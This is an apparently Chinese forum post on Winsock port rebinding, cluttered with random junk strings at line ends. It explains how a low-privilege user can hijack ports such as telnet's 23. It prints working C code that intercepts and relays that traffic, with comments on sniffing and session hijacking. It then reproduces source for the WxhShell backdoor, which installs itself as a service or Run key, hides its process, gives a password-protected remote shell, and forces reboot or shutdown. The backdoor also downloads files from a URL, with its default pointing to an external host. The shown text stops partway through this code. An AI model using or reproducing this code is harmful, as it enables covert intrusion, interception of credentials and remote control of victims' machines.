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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: ufm`h)N  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); gbM#jhQ  
iPX6 r4-  
  saddr.sin_family = AF_INET; JzMPLmgG/  
Udv5Y  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); f sAgXv  
nk9Kq\2f:  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); gUzCDB^.:  
qlmz@kTb  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 C,+6g/{  
nJ |O,*`O  
  这意味着什么?意味着可以进行如下的攻击: T;X8T  
X64OX9:YF  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 ]0.? 1se  
n!~mdI&  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) S/v+7oT  
JyWBLi;Z  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 r 11:T3  
aN{C86wx  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  y-O# +{7  
1[o] u:m9U  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 ?#ue:O1  
+ia  F$  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 '$*d:1  
l j*ELy  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 x&7% U  
od!"?F  
  #include 9B")/Hz_  
  #include qN}kDT  
  #include ~>zml1aJ6  
  #include    G^]T  
  DWORD WINAPI ClientThread(LPVOID lpParam);   +,<\LIP  
  int main() w~@.&  
  { 3/mVdU?U  
  WORD wVersionRequested; QPjmIO  
  DWORD ret; :Jwc'y-]  
  WSADATA wsaData; Gjq:-kX\  
  BOOL val; @gc lks/M  
  SOCKADDR_IN saddr; oomB/"Z  
  SOCKADDR_IN scaddr; #$7 z  
  int err; X9C)FS  
  SOCKET s; ]uO 8  
  SOCKET sc; 5"Q3,4f  
  int caddsize; &hWLG<IE  
  HANDLE mt; evryk,x  
  DWORD tid;   1xg^;3m2  
  wVersionRequested = MAKEWORD( 2, 2 ); #<|5<U  
  err = WSAStartup( wVersionRequested, &wsaData ); I`w1IIY?m  
  if ( err != 0 ) { !4d6wp"  
  printf("error!WSAStartup failed!\n"); J;4x-R$W  
  return -1; PI~LbDE  
  } pvM;2  
  saddr.sin_family = AF_INET; BFmYbK  
   zvB!=  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 tyFhp:ZB  
E"!C3SC [  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); dP[l$/  
  saddr.sin_port = htons(23); qG3 [5lti  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) itb0dF1G  
  { MJ'|$b}  
  printf("error!socket failed!\n"); 6r"uDV #0  
  return -1; r1&b#r>  
  } {?m;DY v  
  val = TRUE; l^4[;%*f#l  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 k.? aq  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) x \B!0"~  
  { z)"7qqA  
  printf("error!setsockopt failed!\n"); dO.?S89L  
  return -1; hWpn~q  
  } '(A)^K>+  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; &\8.y2=9p  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 *m:h0[[J  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 _l,?Y;OF  
c\~H_ ~F  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) Q>f^*FyOw<  
  { !PUbaF-.6  
  ret=GetLastError(); ^p(t*%LM  
  printf("error!bind failed!\n"); B$qmXA)ze  
  return -1; )iadu  
  } ~8~B VwZ_  
  listen(s,2); bHE'R!*  
  while(1) rhY>aj  
  { .b>1u3  
  caddsize = sizeof(scaddr); K_j$iHqLF  
  //接受连接请求 <(W0N|1v  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); yyZH1A  
  if(sc!=INVALID_SOCKET) 9frP`4<)  
  { |VM c,_D  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);  s#om  
  if(mt==NULL) %||}WT-wv  
  { ?z0f5<dL  
  printf("Thread Creat Failed!\n"); o<P@:}K  
  break; |,M&ks  
  } r*]0PQ{?  
  } 86O"w*9  
  CloseHandle(mt); b2c% 0C  
  } cAJKFu X"  
  closesocket(s); L;30& a  
  WSACleanup(); I$0JAy  
  return 0; 7onMKMktM%  
  }   k+S+ : 5  
  DWORD WINAPI ClientThread(LPVOID lpParam) -a(f-  
  { Jhu<^pjs  
  SOCKET ss = (SOCKET)lpParam; _l]`Og@Y  
  SOCKET sc; <K!5N&vh  
  unsigned char buf[4096]; 'Ht$LqG  
  SOCKADDR_IN saddr; )BNm~sP  
  long num; ]4SnOSV?S  
  DWORD val; P{mV  
  DWORD ret; wm0vqY+N$  
  //如果是隐藏端口应用的话,可以在此处加一些判断 v<bq1QG  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   `HU`=a&d  
  saddr.sin_family = AF_INET; 0 z{S@  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); <\Nf6>_qEM  
  saddr.sin_port = htons(23); tVQfR*=  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 1) V,>)Ak  
  { Y'"2s~_ Z  
  printf("error!socket failed!\n"); h-hU=I8  
  return -1; =MO2M~e!  
  } FV^CSaN[R  
  val = 100; ;`g\Tu  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) o+{}O_r  
  { 3=~"<f l  
  ret = GetLastError(); -H~g+i*J  
  return -1; vai.",b=n6  
  } 7t` <`BY^  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) x-+[gNc 6  
  { `Yp\.K z  
  ret = GetLastError(); ERQ a,h/  
  return -1; D4'"GaCv  
  } E (tdL,m'  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) g(<02t!OT=  
  { m3XL;1y:a  
  printf("error!socket connect failed!\n"); x^_Wfkch]  
  closesocket(sc); kH*l83  
  closesocket(ss); V[,/Hw~d%  
  return -1; \@nmM&7C!4  
  } yAtM|:qq  
  while(1) "lLt=s2>L  
  { AC3K*)`E  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 (u85$_C  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 [YP8z~  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 A@*P4E`xp  
  num = recv(ss,buf,4096,0);  w_G/[R3  
  if(num>0) ,$5;  
  send(sc,buf,num,0); @va{&i`%A7  
  else if(num==0) ZmO/6_nU?  
  break; ?6Cbx6  
  num = recv(sc,buf,4096,0); uoFH{.)  
  if(num>0) #/sKb2eQ  
  send(ss,buf,num,0); ba|x?kz  
  else if(num==0) )/2* <jr  
  break; jo=XxA  
  } AC,$(E  
  closesocket(ss); w(`X P  
  closesocket(sc); O; EI&  
  return 0 ; 94I8~Jj4  
  } //KTEAYyy#  
!.iu_xJ  
N'Va&"&73>  
========================================================== _6THyj$f  
`m<l8'g  
下边附上一个代码,,WXhSHELL Cca( oV  
N J:]jd  
========================================================== k#`.!yI,  
7M}T^LC  
#include "stdafx.h" (rFY8oHD  
CU6rw+Vax  
#include <stdio.h> aW %ulZ  
#include <string.h> %Z&[wU~  
#include <windows.h> k<=.1cFh  
#include <winsock2.h> :BCjt@K}  
#include <winsvc.h> 7^Uv1ezDR  
#include <urlmon.h> R+lKQAyC0=  
hU5[k/ q  
#pragma comment (lib, "Ws2_32.lib") V'pNo&O=  
#pragma comment (lib, "urlmon.lib") iKV;>gF,)v  
.{HU1/!  
#define MAX_USER   100 // 最大客户端连接数 -"Lia!Q]M  
#define BUF_SOCK   200 // sock buffer U/,`xA;v>  
#define KEY_BUFF   255 // 输入 buffer *rp@`W5  
wQb")3dw  
#define REBOOT     0   // 重启 Yg/e8Q2  
#define SHUTDOWN   1   // 关机 S4s\tA<  
EiI3$y3;  
#define DEF_PORT   5000 // 监听端口 td q;D  
T*\'G6e  
#define REG_LEN     16   // 注册表键长度 nlH H}K  
#define SVC_LEN     80   // NT服务名长度 jnt0,y A  
X1:|   
// 从dll定义API UBpYR> <\  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); bjPI:j*XU  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); - ,q&Zm  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); e+bpbyV_#  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); dTyTj|"x{  
*Au4q<   
// wxhshell配置信息 ;M8N%  
struct WSCFG { vuuID24:  
  int ws_port;         // 监听端口 Ts:dnGR5  
  char ws_passstr[REG_LEN]; // 口令 56u'XMB?  
  int ws_autoins;       // 安装标记, 1=yes 0=no ckP&N:tC  
  char ws_regname[REG_LEN]; // 注册表键名 RmO-".$yt  
  char ws_svcname[REG_LEN]; // 服务名 c;w cgU  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 9+@_ZI-  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 5'\/gvxIC  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 a~OCo  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ,nMLua\  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" )<DL'  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ?ZdHuuDN~  
f!P.=Qo[=  
}; "My \&0-  
KmZUDU%R  
// default Wxhshell configuration >2Al+m<w  
struct WSCFG wscfg={DEF_PORT, CcgCKT  
    "xuhuanlingzhe", =/.[&DG  
    1, :CSys62  
    "Wxhshell", mn*.z!N=  
    "Wxhshell", q ]rsp0P2  
            "WxhShell Service", P_hwa1~d  
    "Wrsky Windows CmdShell Service", {#=q[jVi%1  
    "Please Input Your Password: ", %whPTc0P  
  1, 5 LhFD  
  "http://www.wrsky.com/wxhshell.exe", hc>hNC:a  
  "Wxhshell.exe" >T.U\,om7  
    }; e.\d7_T+  
H h$D:ZO  
// 消息定义模块 | g> K$m^  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; [@#P3g\:>W  
char *msg_ws_prompt="\n\r? for help\n\r#>"; I6YN&9Y  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ],>Z' W  
char *msg_ws_ext="\n\rExit."; $tj[ *  
char *msg_ws_end="\n\rQuit."; wi:]oo#  
char *msg_ws_boot="\n\rReboot..."; RFDwL~-p  
char *msg_ws_poff="\n\rShutdown..."; ;. !AX|v  
char *msg_ws_down="\n\rSave to "; ?&)<h_R4p  
;*wZgl  
char *msg_ws_err="\n\rErr!"; >8t3a-/  
char *msg_ws_ok="\n\rOK!"; DB:Ia5|*i  
i4'?/UPc  
char ExeFile[MAX_PATH]; .2!'6;K  
int nUser = 0; /V46:`V  
HANDLE handles[MAX_USER]; cc.z C3Hs3  
int OsIsNt; m]=|%a6  
vhTte |(  
SERVICE_STATUS       serviceStatus; 6T"[M  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; cQu1WgQ G  
?*tpW75hR[  
// 函数声明 n:`> QY  
int Install(void); CO0Nq/@  
int Uninstall(void); :v Pzw!  
int DownloadFile(char *sURL, SOCKET wsh); F_zs"ex/  
int Boot(int flag); `t {aN|3V[  
void HideProc(void); +MGEO+  
int GetOsVer(void); +aEE(u6%E@  
int Wxhshell(SOCKET wsl); pUYa1=  
void TalkWithClient(void *cs); 'RTz*CSZ  
int CmdShell(SOCKET sock); ZR6KE_  
int StartFromService(void); &0K H00l  
int StartWxhshell(LPSTR lpCmdLine); 4B-v\3Ff  
j?g{*M  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); wCkhE,#-_  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); JDD(e_dw  
dW,$yH_  
// 数据结构和表定义 opjrU$<]N  
SERVICE_TABLE_ENTRY DispatchTable[] = NL0X =i  
{ %z`bu2  
{wscfg.ws_svcname, NTServiceMain}, <{3VK  
{NULL, NULL} :I+%v  
}; fHb0pp\[.  
Y=x]'3}^  
// 自我安装 O>Xyl4U  
int Install(void) $a(wM1S4  
{ [FAoC3 k-h  
  char svExeFile[MAX_PATH]; ?%iAkV  
  HKEY key; &( b\jyf  
  strcpy(svExeFile,ExeFile); wP+wA}SN  
F4e<=R  
// 如果是win9x系统,修改注册表设为自启动 + 3aAL&  
if(!OsIsNt) { H^B/ '#mO  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { hoO8s#0ED  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); $0AN5 |`g\  
  RegCloseKey(key); S3P;@Rm  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { zK}$W73W^  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); !HY+6!hk  
  RegCloseKey(key); 1$q SbQ  
  return 0; {E@Vh  
    } `V$i*{c:#  
  } FlrLXTx0  
} X@\rg}kP  
else { x!tCK47Yq  
[wjA8d.  
// 如果是NT以上系统,安装为系统服务 L@ql)Lc);  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); H--(zxK  
if (schSCManager!=0) 2J|Wbey  
{ _Sosw|A  
  SC_HANDLE schService = CreateService <nvz*s  
  ( B7fURL Rqr  
  schSCManager, Qg%B<3 <  
  wscfg.ws_svcname, R8W{[@  
  wscfg.ws_svcdisp, hof:36 <  
  SERVICE_ALL_ACCESS, |jU/R  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , egYJ.ZzF0  
  SERVICE_AUTO_START, b=wc-n A  
  SERVICE_ERROR_NORMAL, J3oH^  
  svExeFile, u0A.I_  
  NULL, /U`"Xx  
  NULL, $eCxpb..  
  NULL, {Ymn_   
  NULL, *FQrmdwb]L  
  NULL D+9xI  
  ); }(hx$G^M  
  if (schService!=0) 2x"&8Bg3  
  { 4@.qM6 \\q  
  CloseServiceHandle(schService); Pn[-{nz  
  CloseServiceHandle(schSCManager); nkG1&wiX  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); @v2_gjRe  
  strcat(svExeFile,wscfg.ws_svcname); X<OwB-N  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { {<v?Z_!68  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); `&LPqb  
  RegCloseKey(key); l <Tkg9  
  return 0; =d!3_IZ  
    } ^GD"aerNr  
  } O8w R#(/  
  CloseServiceHandle(schSCManager); V) a<)  
} VWj]X7v  
} lSPQXu*[  
[GyW1-p33w  
return 1; -S"YEH9  
} ,_!pUal  
;*BG{rkr  
// 自我卸载 Q=)$  
int Uninstall(void) fk<0~ tE  
{ 9G[!"eZ}  
  HKEY key; U6t>UE6k  
rUc2'Ct  
if(!OsIsNt) { (OLjE]9;  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { J2f}{!b+I  
  RegDeleteValue(key,wscfg.ws_regname); sy.FMy+  
  RegCloseKey(key); etMQy6E\  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 'P0:1">  
  RegDeleteValue(key,wscfg.ws_regname); `WboM\u  
  RegCloseKey(key); mp*&{[XoVC  
  return 0; Q_$aiE  
  } ]o$aGrZ  
} % r`hW \4{  
}  TTZb.  
else { C*a>B,H  
<'>c`80@\*  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); v,I4ozDx  
if (schSCManager!=0) ve49m%NQ  
{ bJ4})P&  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); *39Y1+=)$$  
  if (schService!=0) 3+%a  
  { S1p 4.qJ  
  if(DeleteService(schService)!=0) { [_Fj2nb*  
  CloseServiceHandle(schService); pZ,=iqr  
  CloseServiceHandle(schSCManager); uZL,+Ce|  
  return 0; E#[_"^n  
  } 2F%2K?$`Ej  
  CloseServiceHandle(schService); sG7G$G*ta!  
  } *|{1`{8n  
  CloseServiceHandle(schSCManager); h6Ovl  
} o,>9|EMQZ  
} s1.EE|h,5  
` $*I%oT;  
return 1; [3lAKI  
} `d2 r5*<  
/'' |bIPa  
// 从指定url下载文件 "4NcszEN  
int DownloadFile(char *sURL, SOCKET wsh) @{P<!x <Q  
{ >o9tlO)  
  HRESULT hr; mE=%+:o.  
char seps[]= "/"; L1ro\H  
char *token; [1nfSW  
char *file; o-a\T  
char myURL[MAX_PATH]; d0``:  
char myFILE[MAX_PATH]; S3 12#X(%  
(yA`h@@WS  
strcpy(myURL,sURL); v7gs $'Q  
  token=strtok(myURL,seps); /*Iq,"kGz  
  while(token!=NULL) c|RTP  
  { Of0(.-Q w  
    file=token; C$WUg<kcK'  
  token=strtok(NULL,seps); pse$S=  
  } 0Lb:N]5m8  
xl2;DFiYt  
GetCurrentDirectory(MAX_PATH,myFILE); %])U(  
strcat(myFILE, "\\"); w_qX~d/  
strcat(myFILE, file); V1di#i:  
  send(wsh,myFILE,strlen(myFILE),0); xKl\:}Ytp  
send(wsh,"...",3,0); AK$&'t+$}7  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); *ThP->&:(  
  if(hr==S_OK) 4FQB%3>*  
return 0; *Tc lc u  
else e_=TkG1E6  
return 1; 0RFBun{  
$-Iui0h  
} D8X~qt/  
^G(U@-0..  
// 系统电源模块 =d`w~iC  
int Boot(int flag) X'FDQoH  
{ ,/2&HZd  
  HANDLE hToken; 9`y@2/!Y  
  TOKEN_PRIVILEGES tkp; M`  V<`  
Z<D8{&AjS  
  if(OsIsNt) { Xna58KF/  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); g$f+X~Q  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); R*0]*\C z  
    tkp.PrivilegeCount = 1; 7<GC{/^T  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; | KtI:n4d  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); IVSOSl|  
if(flag==REBOOT) { C(CwsdlP  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) UOIB}ut V  
  return 0; 56w uk [)  
} W {A4*{  
else { J4?i\wD:  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Ls<^z@I  
  return 0; \!LIqqX  
} BSH2Kq  
  } 6}l[%8  
  else { s!<RWy+  
if(flag==REBOOT) { f8e :J#jbS  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) hk+8s\%-  
  return 0; (^pIB~.z  
} ?7=c `  
else { 4SVIdSA  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) j%+>y;).  
  return 0; \)$:  
} =j~BAS*"  
} >piVi[`  
-\<\OV:c*  
return 1; CS'LW;#[  
} U7#C.Z  
Gr-~&pm  
// win9x进程隐藏模块 j+9;Rvt2  
void HideProc(void) 5'\detV_  
{ @eJ6UML"  
w**~k]In  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 5o6X.sC8e  
  if ( hKernel != NULL ) mqtX7rej  
  { ]f{3_M[  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); HmiG%1+{A  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); %@9c'6  
    FreeLibrary(hKernel); UpaF>,kM  
  } : &bJMzB  
qCkC 2Fy(  
return; v]Fw~Y7l!  
} "%}24t%  
>{S ~(KxK  
// 获取操作系统版本 @r&*Qsf|   
int GetOsVer(void) !He_f-eZ  
{ j"hNkCF  
  OSVERSIONINFO winfo; dBw7l}  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); dd=ca0c7e  
  GetVersionEx(&winfo); a[Nm< qV05  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) mW2D"-s  
  return 1; %2wr%*h  
  else H +' 6*akV  
  return 0; ]"/SU6#4:  
} qv^P  
nW)?cQ I  
// 客户端句柄模块 A+|bJ>q  
int Wxhshell(SOCKET wsl) J#W*,%8O  
{ WeJ=]7T'L  
  SOCKET wsh; IwXWtVL  
  struct sockaddr_in client; kXV;J$1  
  DWORD myID; $Qz<:?D  
|LW5dtQ  
  while(nUser<MAX_USER) [tT_ z<e`  
{ AJ+\Qs(0  
  int nSize=sizeof(client); jG~-V<&  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ebn3r:IU-  
  if(wsh==INVALID_SOCKET) return 1; 0K'{w]Q  
5vFM0  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);  zo1T`"Y  
if(handles[nUser]==0) inY_cn?  
  closesocket(wsh); 0W0GSDx  
else D6~KLSKm  
  nUser++; Wv|CJN;4  
  } LC4VlfU  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); r?itd)WC<X  
o}DR p4;Ka  
  return 0; ClY`2  
} Iprt ZqiL  
T+^Sa J  
// 关闭 socket ic5af"/(\  
void CloseIt(SOCKET wsh) uh2 F r  
{ ^&D5J\][  
closesocket(wsh); _&~l,%)&  
nUser--; tnAj3wc  
ExitThread(0); i=L 86Ks  
} {yv_Ni*6!  
A_l\ij$Y  
// 客户端请求句柄 ny{S&f  
void TalkWithClient(void *cs) WMHYOJR  
{ 0cSm^a  
vh.-9eD  
  SOCKET wsh=(SOCKET)cs; Zb=;\l*&  
  char pwd[SVC_LEN]; MJh.)kd$  
  char cmd[KEY_BUFF]; _CPj] m{  
char chr[1]; cRH(@b Xr  
int i,j; wo+`WnDh  
z . Z  
  while (nUser < MAX_USER) { Mq#m;v$E  
43E)ltR=]  
if(wscfg.ws_passstr) { 9Nps<+K  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 1.M<u)1GU  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); m 62Zta  
  //ZeroMemory(pwd,KEY_BUFF); w[F})u]E  
      i=0; 8nn g^  
  while(i<SVC_LEN) { =/}Rnl+c  
!ui t  
  // 设置超时 JNY?] |=  
  fd_set FdRead; tmOy"mq67  
  struct timeval TimeOut; "n]x%. *  
  FD_ZERO(&FdRead); l9C `:g  
  FD_SET(wsh,&FdRead); gyq6LRb  
  TimeOut.tv_sec=8; CuK>1_Dq  
  TimeOut.tv_usec=0; Fm=jgt3wv8  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ia3Q1 9r  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); kQe<a1 8  
%3*|Su%uC  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); \?oT.z5VG&  
  pwd=chr[0]; z Ohv>a  
  if(chr[0]==0xd || chr[0]==0xa) {  71@kIJI  
  pwd=0; CcW3o"=4  
  break; A +=#  
  } VH4wsEH]  
  i++; z{&Av  
    } ZJW8S  
uB^"A ;0v  
  // 如果是非法用户,关闭 socket %19~9Tw  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh);  pdm(7^  
} ,}\LC;31,  
n-2!<`UFX  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); tH&eKM4G  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); [<5/s$,i  
yZ 7)|j  
while(1) { Vpp$yM&?  
dH.Fb/7f  
  ZeroMemory(cmd,KEY_BUFF); G62;p#  
>?OUs>}3y2  
      // 自动支持客户端 telnet标准   hxj\  
  j=0; &"W gO!pzD  
  while(j<KEY_BUFF) { >]anTF`d  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); nBd]rak'  
  cmd[j]=chr[0]; w>\oz  
  if(chr[0]==0xa || chr[0]==0xd) { -<k)|]8  
  cmd[j]=0; %E/#h8oN{  
  break; +,,dsL  
  } .wp[uLE  
  j++; cLp_\\  
    } y\j[\UZKO  
G~DHNO6  
  // 下载文件 50dN~(;p  
  if(strstr(cmd,"http://")) { IP$eJL[&D"  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 5L<A7^j  
  if(DownloadFile(cmd,wsh)) 8\9W:D@"x  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); kssRwe%>;  
  else QnOs8%HS-  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ZQym8iV/  
  } 7XT(n v  
  else { IJKdVb~   
(^W :f{  
    switch(cmd[0]) { O7_y QQAA  
  G /$+e  
  // 帮助 ygV_"=+|N  
  case '?': { pGD-K41O]  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); $[b}r#P  
    break; f+ZOE?"  
  } +zbCYA  
  // 安装 :R +BC2x  
  case 'i': { n7B2rRJH  
    if(Install()) lK/4"&  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ,aD~7QX1:  
    else @=P c{xp  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); v FQ]>n X  
    break; .SmG)5U]  
    } 88<d<)7t  
  // 卸载 yPT o,,ca=  
  case 'r': { 5D=U.UdR  
    if(Uninstall()) {`k&Q +gY  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); d&L  
    else r_+!3   
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); uH? 4d!G  
    break; N.+A-[7,W  
    } x^_c4,i)  
  // 显示 wxhshell 所在路径 a!4p$pR  
  case 'p': { = 03G~7B>  
    char svExeFile[MAX_PATH]; cUP1Uolvn  
    strcpy(svExeFile,"\n\r"); o\ce|Dzt  
      strcat(svExeFile,ExeFile); .b`8 +  
        send(wsh,svExeFile,strlen(svExeFile),0); 7p\&D?  
    break; U[Sh){4j  
    } <+r~?X_  
  // 重启 p5OoDo  
  case 'b': { qc.TYp  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); !5h-$;  
    if(Boot(REBOOT)) 'AWWdz  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); i;/;zG^=_  
    else { }eA ) m  
    closesocket(wsh); UroC8Tm  
    ExitThread(0); 2"|7 YI  
    } #@w/S:KbJt  
    break; pYm#iz  
    } 7O%^4D  
  // 关机 ooB9i No^  
  case 'd': { =`>ei  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 5M9o(Z\AF  
    if(Boot(SHUTDOWN)) kG9aH Ww  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); >EA\KrjW  
